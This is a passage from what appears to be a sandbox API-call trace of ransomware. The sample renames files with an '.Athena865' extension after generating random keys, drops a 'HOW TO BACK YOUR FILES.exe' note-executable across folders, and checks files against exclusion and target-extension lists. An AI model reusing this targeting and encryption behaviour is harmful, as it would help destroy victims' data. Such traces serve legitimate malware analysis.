Mail\\WinMail.exe.Athena865") returned 51 [0040.380] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files\\windows mail\\winmail.exe"), lpNewFileName="C:\\Program Files\\Windows Mail\\WinMail.exe.Athena865" (normalized: "c:\\program files\\windows mail\\winmail.exe.athena865"), dwFlags=0x1) returned 1 [0040.381] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\WinMail.exe.Athena865" (normalized: "c:\\program files\\windows mail\\winmail.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0040.381] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=398848) returned 1 [0040.381] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.381] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0040.381] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.381] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.382] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.382] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.382] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x61900, lpName=0x0) returned 0x154 [0040.383] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x61900) returned 0x1f0000 [0040.401] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.402] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.402] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0040.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0040.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.403] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0040.406] CloseHandle (hObject=0x154) returned 1 [0040.406] CloseHandle (hObject=0x17c) returned 1 [0040.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0040.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.413] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0040.413] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0040.413] ReleaseMutex (hMutex=0xec) returned 1 [0040.413] CloseHandle (hObject=0xec) returned 1 [0040.413] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Media Player" | out: lpString1="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player" [0040.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515d40 | out: hHeap=0x4f0000) returned 1 [0040.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c410 | out: hHeap=0x4f0000) returned 1 [0040.413] lstrlenW (lpString="C:\\Program Files\\Windows Media Player") returned 37 [0040.413] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B8BA3E8BDF5D26B60A707C4218F1391D") returned 0xec [0040.414] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0040.414] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player" | out: lpString1="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player" [0040.414] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0040.414] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\how to back your files.exe"), bFailIfExists=1) returned 0 [0040.414] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0040.414] GetLastError () returned 0x0 [0040.414] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0040.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0040.414] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0040.414] CloseHandle (hObject=0xf4) returned 1 [0040.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.415] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0040.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc465fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0040.415] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0040.415] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0040.415] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0040.415] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc465fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.415] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0040.415] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0040.415] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0040.415] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0040.415] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0040.415] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0040.415] lstrlenW (lpString="en-US") returned 5 [0040.415] lstrcpyW (in: lpString1=0x241e894, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0040.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c410 [0040.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x529130 [0040.416] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0040.416] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0040.416] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0040.420] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc465fe0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0040.420] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0040.420] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0040.420] lstrcmpiW (lpString1="Icons", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2=".") returned 1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2="..") returned 1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2="windows") returned -1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2="bootmgr") returned 1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2="temp") returned -1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2="pagefile.sys") returned -1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2="boot") returned 1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2="ids.txt") returned -1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2="ntuser.dat") returned -1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2="perflogs") returned -1 [0040.421] lstrcmpiW (lpString1="Icons", lpString2="MSBuild") returned -1 [0040.421] lstrlenW (lpString="Icons") returned 5 [0040.421] lstrcpyW (in: lpString1=0x241e894, lpString2="Icons" | out: lpString1="Icons") returned="Icons" [0040.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f7a8 [0040.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x529190 [0040.421] lstrcatW (in: lpString1="Icons", lpString2="\\" | out: lpString1="Icons\\") returned="Icons\\" [0040.421] lstrcatW (in: lpString1="Icons\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Icons\\HOW TO BACK YOUR FILES.exe") returned="Icons\\HOW TO BACK YOUR FILES.exe" [0040.421] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Icons\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\icons\\how to back your files.exe"), bFailIfExists=1) returned 0 [0040.422] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2=".") returned 1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="..") returned 1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="windows") returned -1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="bootmgr") returned 1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="temp") returned -1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="pagefile.sys") returned -1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="boot") returned 1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="ids.txt") returned 1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="ntuser.dat") returned -1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="perflogs") returned -1 [0040.422] lstrcmpiW (lpString1="Media Renderer", lpString2="MSBuild") returned -1 [0040.422] lstrlenW (lpString="Media Renderer") returned 14 [0040.422] lstrcpyW (in: lpString1=0x241e894, lpString2="Media Renderer" | out: lpString1="Media Renderer") returned="Media Renderer" [0040.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f7c0 [0040.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d1b0 [0040.423] lstrcatW (in: lpString1="Media Renderer", lpString2="\\" | out: lpString1="Media Renderer\\") returned="Media Renderer\\" [0040.423] lstrcatW (in: lpString1="Media Renderer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Media Renderer\\HOW TO BACK YOUR FILES.exe") returned="Media Renderer\\HOW TO BACK YOUR FILES.exe" [0040.423] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\media renderer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0040.426] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba168ab, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ba168ab, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x3401fe00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0040.426] lstrcmpiW (lpString1="mpvis.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.426] lstrcmpiW (lpString1="mpvis.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.426] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".") returned 1 [0040.426] lstrcmpiW (lpString1="mpvis.DLL", lpString2="..") returned 1 [0040.426] lstrcmpiW (lpString1="mpvis.DLL", lpString2="windows") returned -1 [0040.426] lstrcmpiW (lpString1="mpvis.DLL", lpString2="bootmgr") returned 1 [0040.426] lstrcmpiW (lpString1="mpvis.DLL", lpString2="temp") returned -1 [0040.426] lstrcmpiW (lpString1="mpvis.DLL", lpString2="pagefile.sys") returned -1 [0040.426] lstrcmpiW (lpString1="mpvis.DLL", lpString2="boot") returned 1 [0040.426] lstrcmpiW (lpString1="mpvis.DLL", lpString2="ids.txt") returned 1 [0040.426] lstrcmpiW (lpString1="mpvis.DLL", lpString2="ntuser.dat") returned -1 [0040.427] lstrcmpiW (lpString1="mpvis.DLL", lpString2="perflogs") returned -1 [0040.427] lstrcmpiW (lpString1="mpvis.DLL", lpString2="MSBuild") returned -1 [0040.427] lstrlenW (lpString="mpvis.DLL") returned 9 [0040.427] lstrcpyW (in: lpString1=0x241e894, lpString2="mpvis.DLL" | out: lpString1="mpvis.DLL") returned="mpvis.DLL" [0040.427] lstrlenW (lpString="mpvis.DLL") returned 9 [0040.427] lstrlenW (lpString="Athena865") returned 9 [0040.427] lstrlenW (lpString=".dll") returned 4 [0040.427] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".dll") returned 1 [0040.427] lstrlenW (lpString=".lnk") returned 4 [0040.427] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".lnk") returned 1 [0040.427] lstrlenW (lpString=".ini") returned 4 [0040.427] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".ini") returned 1 [0040.427] lstrlenW (lpString=".sys") returned 4 [0040.427] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".sys") returned 1 [0040.427] lstrlenW (lpString="mpvis.DLL") returned 9 [0040.427] lstrlenW (lpString="bak") returned 3 [0040.427] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0040.427] lstrlenW (lpString="ba_") returned 3 [0040.427] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0040.427] lstrlenW (lpString="dbb") returned 3 [0040.427] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0040.427] lstrlenW (lpString="vmdk") returned 4 [0040.427] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0040.427] lstrlenW (lpString="rar") returned 3 [0040.427] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0040.427] lstrlenW (lpString="zip") returned 3 [0040.427] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0040.427] lstrlenW (lpString="tgz") returned 3 [0040.427] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0040.427] lstrlenW (lpString="vbox") returned 4 [0040.427] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0040.427] lstrlenW (lpString="vdi") returned 3 [0040.427] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0040.427] lstrlenW (lpString="vhd") returned 3 [0040.427] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0040.428] lstrlenW (lpString="vhdx") returned 4 [0040.428] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0040.428] lstrlenW (lpString="avhd") returned 4 [0040.428] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0040.428] lstrlenW (lpString="db") returned 2 [0040.428] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0040.428] lstrlenW (lpString="db2") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0040.428] lstrlenW (lpString="db3") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0040.428] lstrlenW (lpString="dbf") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0040.428] lstrlenW (lpString="mdf") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0040.428] lstrlenW (lpString="mdb") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0040.428] lstrlenW (lpString="sql") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0040.428] lstrlenW (lpString="sqlite") returned 6 [0040.428] lstrcmpiW (lpString1="is.DLL", lpString2="sqlite") returned -1 [0040.428] lstrlenW (lpString="sqlite3") returned 7 [0040.428] lstrcmpiW (lpString1="vis.DLL", lpString2="sqlite3") returned 1 [0040.428] lstrlenW (lpString="sqlitedb") returned 8 [0040.428] lstrcmpiW (lpString1="pvis.DLL", lpString2="sqlitedb") returned -1 [0040.428] lstrlenW (lpString="xml") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0040.428] lstrlenW (lpString="$er") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0040.428] lstrlenW (lpString="4dd") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0040.428] lstrlenW (lpString="4dl") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0040.428] lstrlenW (lpString="^^^") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0040.428] lstrlenW (lpString="abs") returned 3 [0040.428] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0040.429] lstrlenW (lpString="abx") returned 3 [0040.429] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0040.429] lstrlenW (lpString="accdb") returned 5 [0040.429] lstrcmpiW (lpString1="s.DLL", lpString2="accdb") returned 1 [0040.429] lstrlenW (lpString="accdc") returned 5 [0040.429] lstrcmpiW (lpString1="s.DLL", lpString2="accdc") returned 1 [0040.429] lstrlenW (lpString="accde") returned 5 [0040.429] lstrcmpiW (lpString1="s.DLL", lpString2="accde") returned 1 [0040.429] lstrlenW (lpString="accdr") returned 5 [0040.429] lstrcmpiW (lpString1="s.DLL", lpString2="accdr") returned 1 [0040.429] lstrlenW (lpString="accdt") returned 5 [0040.429] lstrcmpiW (lpString1="s.DLL", lpString2="accdt") returned 1 [0040.429] lstrlenW (lpString="accdw") returned 5 [0040.429] lstrcmpiW (lpString1="s.DLL", lpString2="accdw") returned 1 [0040.429] lstrlenW (lpString="accft") returned 5 [0040.429] lstrcmpiW (lpString1="s.DLL", lpString2="accft") returned 1 [0040.429] lstrlenW (lpString="adb") returned 3 [0040.429] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0040.429] lstrlenW (lpString="adb") returned 3 [0040.429] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0040.429] lstrlenW (lpString="ade") returned 3 [0040.429] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0040.429] lstrlenW (lpString="adf") returned 3 [0040.429] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0040.429] lstrlenW (lpString="adn") returned 3 [0040.429] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0040.429] lstrlenW (lpString="adp") returned 3 [0040.429] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0040.429] lstrlenW (lpString="alf") returned 3 [0040.429] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0040.429] lstrlenW (lpString="ask") returned 3 [0040.429] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0040.429] lstrlenW (lpString="btr") returned 3 [0040.429] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0040.429] lstrlenW (lpString="cat") returned 3 [0040.429] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0040.429] lstrlenW (lpString="cdb") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0040.430] lstrlenW (lpString="ckp") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0040.430] lstrlenW (lpString="cma") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0040.430] lstrlenW (lpString="cpd") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0040.430] lstrlenW (lpString="dacpac") returned 6 [0040.430] lstrcmpiW (lpString1="is.DLL", lpString2="dacpac") returned 1 [0040.430] lstrlenW (lpString="dad") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0040.430] lstrlenW (lpString="dadiagrams") returned 10 [0040.430] lstrlenW (lpString="daschema") returned 8 [0040.430] lstrcmpiW (lpString1="pvis.DLL", lpString2="daschema") returned 1 [0040.430] lstrlenW (lpString="db-journal") returned 10 [0040.430] lstrlenW (lpString="db-shm") returned 6 [0040.430] lstrcmpiW (lpString1="is.DLL", lpString2="db-shm") returned 1 [0040.430] lstrlenW (lpString="db-wal") returned 6 [0040.430] lstrcmpiW (lpString1="is.DLL", lpString2="db-wal") returned 1 [0040.430] lstrlenW (lpString="dbc") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0040.430] lstrlenW (lpString="dbs") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0040.430] lstrlenW (lpString="dbt") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0040.430] lstrlenW (lpString="dbv") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0040.430] lstrlenW (lpString="dbx") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0040.430] lstrlenW (lpString="dcb") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0040.430] lstrlenW (lpString="dct") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0040.430] lstrlenW (lpString="dcx") returned 3 [0040.430] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0040.431] lstrlenW (lpString="ddl") returned 3 [0040.431] lstrcmpiW 